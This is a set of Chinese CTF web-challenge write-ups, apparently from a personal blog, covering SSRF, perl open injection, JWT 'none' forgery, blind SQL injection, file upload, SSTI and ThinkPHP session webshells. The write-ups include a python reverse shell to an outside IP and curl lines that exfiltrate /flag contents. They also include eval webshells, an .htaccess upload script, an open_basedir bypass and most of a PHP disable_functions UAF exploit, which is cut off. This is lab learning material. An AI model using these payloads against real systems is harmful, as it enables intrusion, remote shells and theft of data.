2
3
4
import urllib.request
url="file:///etc/passwd"
res = urllib.request.urlopen(url)
print(res.read())

只有一个输入框,随便提交一个数据后会跳转到page页面,参数名为url,通过输入网址可以以beautiful.jpg返回网址的源码
为了方便,这里用burp

多次尝试读取文件的方法,最后发现直接输入路径即可(这里印证了可能是python2的urllib的urlopen)

非预期解是在这里直接读/flag,可以直接读出来

  • proc目录

proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
还有的是一些以数字命名的目录,他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,他们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link

在/proc文件系统中,每一个进程都有一个相应的文件。下面是/proc目录下的一些重要文件,pid是进程的标号:

  • /proc/pid/cmdline 是一个只读文件,包含进程的完整命令行信息
  • /proc/pid/cwd 包含了当前进程工作目录的一个链接
  • /proc/pid/environ 包含了可用进程环境变量的列表
  • /proc/pid/exe 包含了正在进程中运行的程序链接
  • /proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接
  • /proc/pid/mem 包含了进程在内存中的内容
  • /proc/pid/stat 包含了进程的状态信息
  • /proc/pid/statm 包含了进程的内存使用信息

简析Linux中 /proc/[pid] 目录的各文件
/proc/self表示当前进程目录
输入/proc/self/cmdline

读一下app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

路由/no_one_know_the_manager页面下接收key和shell参数,要求key == SECRET_KEY
os.system(shell)可以执行我们的命令

先看这一段代码

1
2
3
4
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)

secret.txt访问不了

f=open(SECRET_FILE)这句话说明这个文件是被open函数打开的,所以会创建文件描述符。程序读取完SECRET_KEY会删除/tmp/secret.txt,linux系统有个特性,如果一个程序打开了一个文件没有关闭,即便从外部(如os.remove(SECRET_FILE))删除之后,在/proc这个进程的pid目录下的fd文件描述符目录下还是会有这个文件的fd,通过这个我们即可得到被删除文件的内容。
文件描述符在形式上是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。在程序设计中,一些涉及底层的程序编写往往会围绕着文件描述符展开。

fd是一个目录,里面包含着当前进程打开的每一个文件的描述符(file descriptor)差不多就是路径啦,这些文件描述符是指向实际文件的一个符号连接,即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录的文件获取进程,从而打开每个文件的路径以及文件内容

查看指定进程打开的某个文件的内容。加上那个数字即可,用burp爆破最后的数字,看哪个数字的文件夹存在内容
文件描述符(File Descriptor)简介
输入/proc/self/fd/3

1
8YzXsu0k55QR1Oxm/j0xigou1NTWQOx8tQ4mxFhKBKo=

这就是密钥,有特殊字符,url编码一下。

这里发现shell执行的命令并不会返回结果,所以使用反弹shell
这里我用的自己的aliyun服务器
先在安全组开放一个端口

1
2
3
4
5
6
开启端口
firewall-cmd --zone=public --add-port=8888/tcp --permanent
重启防火墙
systemctl restart firewalld.service
查看开启的端口
firewall-cmd --list-ports


输入命令 nc -lvvp 8888

这里使用python脚本反弹

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

同样url加密下

或是curl反弹shell
nc监听8888

1
shell=curl ip:port/`ls /|base64`

1
shell=curl ip:port/`cat /flag|base64`

[HITCON 2017]SSRFme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

第一个if是获取你的ip,这个用xff改为127.0.0.1,不改也行
$sandbox是把orange和IP连接在一起MD5加密

mkdir()创建文件
chdir()改变当前目录
shell_exec类似system命令执行
pathinfo()函数就是将传入的路径”字典化”
举个栗子

1
2
3
4
5
6
7
<?php

$info = pathinfo($_GET["filename"]);
var_dump($info);

输出->
array(4) { ["dirname"]=> string(40) "/sanbox/cfbb870b58817bf7705c0bd826e8dba7" ["basename"]=> string(7) "666.php" ["extension"]=> string(3) "php" ["filename"]=> string(3) "666" }

再理解一下shell_exec里的GET,这里的GET不是我们平常的GET方式传参,这里的GET是Lib for www in perl中的命令,目的是模拟http的GET请求,GET函数底层就是调用了open处理
这里用kali了解一下GET

这里GET一个根目录,功能类似于ls把它给列出来
可以读取文件

open漏洞

在perl语言中,open函数存在命令执行漏洞;如果open文件名中存在管道符(也叫或符号|),就会将文件名直接以命令的形式执行,然后将命令的结果存到与命令同名的文件中。本题中调用了GET函数,而GET函数底层调用了open函数,故存在漏洞。

主要函数和漏洞了解完,就开始做题了
先看下根目录

1
2
3
?url=/&filename=666

然后进入/sandbox/cfbb870b58817bf7705c0bd826e8dba7/666


根目录中存在flag和readflag
读一下

1
2
3
4
?url=/flag&filename=666
啥也没有
?url=/readflag&filename=666
下载了一个二进制文件

应该是需要运行readflag来读flag的脚本,现在想方法执行它。
GET使用file协议的时候会调用perl中的open函数

所以我们这题利用file绕过
本题有三种做法

SSRF配合伪协议

file_put_contents函数使用data伪协议控制其内容,这里通过GET后加data伪协议实现写马
写入的文件名称后缀可以是php,所以直接访问sandbox中的php文件,蚁剑连接。运行根目录的readflag
payload

1
?url=data:text/plain,'<?php @eval($_POST[a]);?>'&filename=test.php

连接中国蚁剑
在根目录运行readflag

perl语言漏洞

因为GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。

所以先创建和readflag同名的文件

1
?url=&filename=|/readflag


再执行命令

1
?url=file:|/readflag&filename=999

bash-c方法

和上一个相同,bash -c就是将目标当作可执行文件运行

1
?url=&filename=|bash -c /readflag


1
?url=file:|bash -c /readflag&filename=000

[b01lers2020]Welcome to Earth

打开环境,发现图片会自动切换为新的页面/die
/die页面没什么信息
看原页面源代码找到js代码

第一个if捕获你的按键值,27为的ascii对应的为ESC,也就是按一下ESC进入if语句内
其实不按ESC也行它给了目录,直接进入即可。。。。
进入/chase/

进入/leftt/

进入/shoot/

/door/
这么多门,哈人,找到js文件

/open/

/fight/

唯一有难点的地方,想了半天key值能是什么,然后一看这么点词随便就组个句子🤣
hey boys i am back!

1
pctf{hey_boys_im_baaaaaaaaaack!}

这里python能写一个脚本

1
2
3
4
5
6
7
8
9
10
from itertools import permutations

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]

item = permutations(flag)
for i in item: #通过 for 循环迭代每个排列。
k = ''.join(list(i))
if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)

先看permutations是什么

permutations函数返回的是可迭代元素中的一个排列组合(全排列)。

1
k = ''.join(list(i))

将当前排列 i 转换为字符串,并将结果赋值给变量 k。这里使用了 join 方法来连接排列中的字符串。
join方法通过在内部优化实现,能够更有效地处理字符串连接,尤其是在循环中连接多个字符串时。它通过一次性连接所有元素,而不是多次创建新的中间字符串,从而提高性能。

当if条件不成立时,k的值不会在下一个循环中被保留。每次迭代开始时,都会重新计算k的值,因为它是在for循环中的赋值语句k = ‘’.join(list(i))中生成的。

1
if k.startswith('pctf{hey_boys') and k[-1] == '}'

检查字符串k是否以’pctf{hey_boys’ 开头且以 ‘}’ 结尾。

[HFCTF2020]EasyLogin

需要登录,也有注册功能
先不管它,看看源码
找到/static/js/app.js文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}

function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

看了下,是注册登录的功能,感觉没有获得flag的点

先注册登录,并抓包


base64解码一下

验证方式采用的是JWT
JWT有漏洞可以利用
这里放到官网看看https://jwt.io/

感觉和[CISCN2019 华北赛区 Day1 Web2]ikun题差不多
c-jwt-cracker爆个密钥

等了30分钟,嗯是爆不出来
又去查了查
报不出来应该是这个原因

1
2
3
4
5
JWT 的密钥爆破需要在一定的前提下进行:

知悉JWT使用的加密算法
一段有效的、已签名的token
签名用的密钥不复杂(弱密钥)

可能是密钥太复杂了叭😿
JWT攻击学习

查看wp发现app.js里说明了所用框架koa
koa目录的基本结构

这里大佬们按照koa框架的常见结构去获取下控制器文件的源码

1
/controllers/api.js

访问一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

空加密算法
JWT支持使用空加密算法,可以在header中指定alg为None

将secret置空。利用node的jsonwentoken库已知缺陷:当jwt的secret为null或undefined时,jsonwebtoken会采用algorithm为none进行验证

因为alg为none,所以只要把signature设置为空(即不添加signature字段),提交到服务器,token都可以通过服务器的验证


生成JWT

/api/flag路径校验为admin用户才会返回flag,而登录验证方式采用的是JWT,所以可以尝试对JWT进行破解修改。并且生成JWT是用HS256加密,可以把它改为None来进行破解。标题中的alg字段更改为none,有些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证,此外对于本题中验证采用的密钥secret值也需要为空或者underfined,否则还是会触发验证,js是弱语言类型,我们可以将secretid设置为一个小数或空数组(空数组与数字比较时为0)来绕过secretid的一个验证(不能为null&undefined)

这里需要一个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import jwt
token_dict = {
"secretid": [],
"username": "admin",
"password": "123",
"iat": 1710510302
}

headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
"", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
)
print(jwt_token)


生成后替换原有的
然后进入/api/flag找到flag

[CISCN2019 总决赛 Day2 Web1]Easyweb

进入环境,发现只有登录界面,没有找到注册
那么大概就是sql注入了

注入没反应
源码也啥也没找到
上dirsearch
扫到robots.txt
不知道为什么这里的robots.txt内容为/static/secretkey.txt

看了题解,robots.txt里的内容应该是

题目描述里提供了源码GitHub链接
GitHub里的源码也是一样
这里不太懂为什么会这样
把dirsearch扫到的几个php文件都试一遍
最后在访问image.php.bak时成功下载文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

addslashes()函数

str_replace将\0,%00,\‘,”‘“替换成空(前面第一个\是用来转义的,使其不被解释为其原始含义,而是作为普通字符处理)。

因为要SQL注入,所以要破开引号,但是引号被转义。若是当我输入”?id=\0”,经过addslashes()–>”?id=\0”再经过str_replace–>”?id=",SQL语句就变为

1
select * from images where id='\' or path='{$path}'

这样由于\右边的单引号被转义,导致原有的SQL语句引号闭合发生错误。实际上id=' or path=。现在我们可以对path进行sql注入

1
2
3
?id=\0&path=or 1=1#

select * from images where id='\' or path='or 1=1%23'

确定了SQL注入的姿势,写好脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url = "http://db4624a1-f8f4-48f5-8a2c-1936066abc00.node5.buuoj.cn:81/image.php"
result = ''
i = 0
while 1:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
payload = f'?id=\\0&path=or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)%23'
# payload = f'?id=\\0&path=or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x636973636e66696e616c),{i},1))>{mid},1,0)%23'
# payload = f'?id=\\0&path=or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{i},1))>{mid},1,0)%23'
# payload = f'?id=\\0&path=or if(ascii(substr((select group_concat(username,0x7e,password) from ciscnfinal.users),{i},1))>{mid},1,0)%23'

r = requests.get(url=url + payload)
if 'JFIF' in r.text:
low = mid + 1
# time.sleep(0.1)
else:
high = mid
if low != 32:
result += chr(low)
print(result)
else:
break



爆出账号密码

登录后跳转到一个新的页面
文件上传,试下文件上传的漏洞
先随便上传一个文件

找到上传路径

进入路径发现会将文件名写进日志,而且日志还是php文件
把文件名写为一句话木马


不能上传php文件
我们改一下一句话木马

成功上传

看样子php语句写进去了
直接命令执行

1
2
3
a=system('ls');
a=system('ls /');
a=system('cat /flag');

这里有大佬用其它方法做的,直接算出admin的cookie🥶
传送门

[SUCTF 2019]EasyWeb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

先不看这个函数,我们要绕过这个正则表达式,且不能超过18个字节,那么可以使用异或或者取反,在这题里取反符~被过滤了,所以我们用异或,这里搞到大佬写的脚本
异或脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function finds($string){
$index = 0;
$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
for($i=27;$i<count($a);$i++){
for($j=27;$j<count($a);$j++){
$x = $a[$i] ^ $a[$j];
for($k = 0;$k<strlen($string);$k++){
if(ord($string[$k]) == $x){
echo $string[$k]."\n";
echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
$index++;
if($index == strlen($string)){
return 0;
}
}
}
}
}
}
finds("_GET");
?>


关于异或绕过

1
php的eval()函数在执行时如果内部有类似"abc"^"def"的计算式,那么就先进行计算再执行。例如url?a={_GET}{b}();&b=phpinfo,也就是?a=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo,在传入后实际上为${????^????}{?}();但是到了eval()函数内部就会变成${_GET}{?}();成功执行。

详细看Hanamizuki花水木php异或计算绕过preg_match

我们构造出payload

1
2
?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
//相当于${_GET}{%86}(),这里phpinfo的括号是在前面

非预期解

预期解

先看一下disable_functions,发现ban了很多命令执行函数system、exec等

我们从get_the_flag()上手,
函数是上传文件,且对后缀名进行了过滤,不能上传有ph的后缀文件,phtml,php等也不能上传了,可以考虑.htaccess和.user.ini,不过这里.user.ini好像不行,对内容进行了过滤,不能包含<?,由于这里版本过高,所以无法使用
这里的解决方法是将一句话木马进行base64编码,然后再.htaccess中利用php伪协议进行解码,还有个文件头检测,一般都用GIF89a进行绕过,但这里会出现问题,.htaccess文件会无法生效,我们可以使用#define width 1337 #define height 1337进行绕过,#在.htaccess中表示注释
比较完全的htaccess解释Apache的.htaccess利用技巧
所以我们的.htaccess文件内容如下

1
2
3
4
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh #对.ahhh后缀的文件作为php文件执行
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"

shell.ahhh

1
2
GIF89a12		#12是为了补足8个字节,满足base64编码的规则,4的倍数
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==

上传脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://95670a2d-e895-4364-bb7b-94939098a4b6.node3.buuoj.cn/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

python的requests发送/上传多个文件


得到路径
连一下蚁剑

很意外的是我可以直接访问根目录,且能读取到flag的值
在php配置里可以看到

我们只能访问/html下和/tmp下的文件
这里我们需要绕过open_basedir
参考bypass open_basedir的新方法

直接用它的代码

1
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

得到

在读取

1
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

获得flag

1
flag{44ad039b-8376-46ac-ba89-405bec17ded2}

[CISCN2019 华东南赛区]Double Secret

进入环境
题目让我们找secret,先robots.txt找一找
It is Android ctf
不知道什么意思,那么试试进入secret路径下
Tell me your secret.I will encrypt it so others can’t see
还要secret,那么给它一个secret参数
输入0,1,2页面显示不同的字符
刚开始还以为是什么规律
随便输入一个长一点的数字或字符

报错了,但也暴露了部分源码,可以看到是flask,python版本是2.7
找到加深的一段代码

为RC4加密算法,密钥泄露了,将所发送内容解密之后会被渲染,考虑到存在模板注入
找一个RC4加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
# print(crypt)
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag.txt').read()}}")

加密有点捉不住头脑,看了一下,这个解释的比较清晰RC4加密算法

提交后就可以获取flag了

[GYCTF2020]EasyThinking

有注册登录功能,先怀疑一下xss,试试xss语句

注册一下,弹出报错信息告诉是thinkphp框架6.0版本

搜一下发现这个版本有一个任意文件操作漏洞

这个框架还有很多其它的漏洞

可用dirsearch扫出www.zip源码泄露
在app/home/controller/Member.php中找到网站功能的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
......<以上代码省略>
public function search()
{
if (Request::isPost()){
if (!session('?UID'))
{
return redirect('/home/member/login');
}
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}
else
{
$recordArr = explode(",",$record);
$recordLen = sizeof($recordArr);
if ($recordLen >= 3){
array_shift($recordArr);
session("Record",implode(",",$recordArr) . "," . $data["key"]); //注意这里,直接将搜索的内容写入了服务器生成的SESSION文件中
return View::fetch("result",["res" => "There's nothing here"]);
}

}
session("Record",$record . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}else{
return View("search");
}
}
}

根据ThinkPHP6.0.0版本的漏洞成因,得出这是一个由于不安全的SessionId导致的任意文件操作漏洞
漏洞利用的方法是:构造PHPSESSID的值,且后缀为php,总共32位
先注册
用burp抓取,修改PHPSESSID的值

登录
本题中,搜素的内容直接被写入了SESSION

1
session("Record",implode(",",$recordArr) . "," . $data["key"]);

所以我们在搜索框写入shell

提交完shell内容后可以在/runtime/session/sess_1234567890123456789012345678.php中得到我们的shell

发现一些重要函数被禁了

连接蚁剑

flag为空,那么就要用readflag读取flag

没有权限,用蚁剑里的插件disable_functions绕过

这个就刚刚好
加载插件就可以执行命令了

还有一种方法是上传exp
找到PHP7.0-7.4版本的突破disable_function的exp
把执行的命令修改为/readflag,然后将exp上传至shell中即可获得flag在蚁剑中找个能上传文件的地方,比如/var/tmp中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("/readflag"); #命令

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
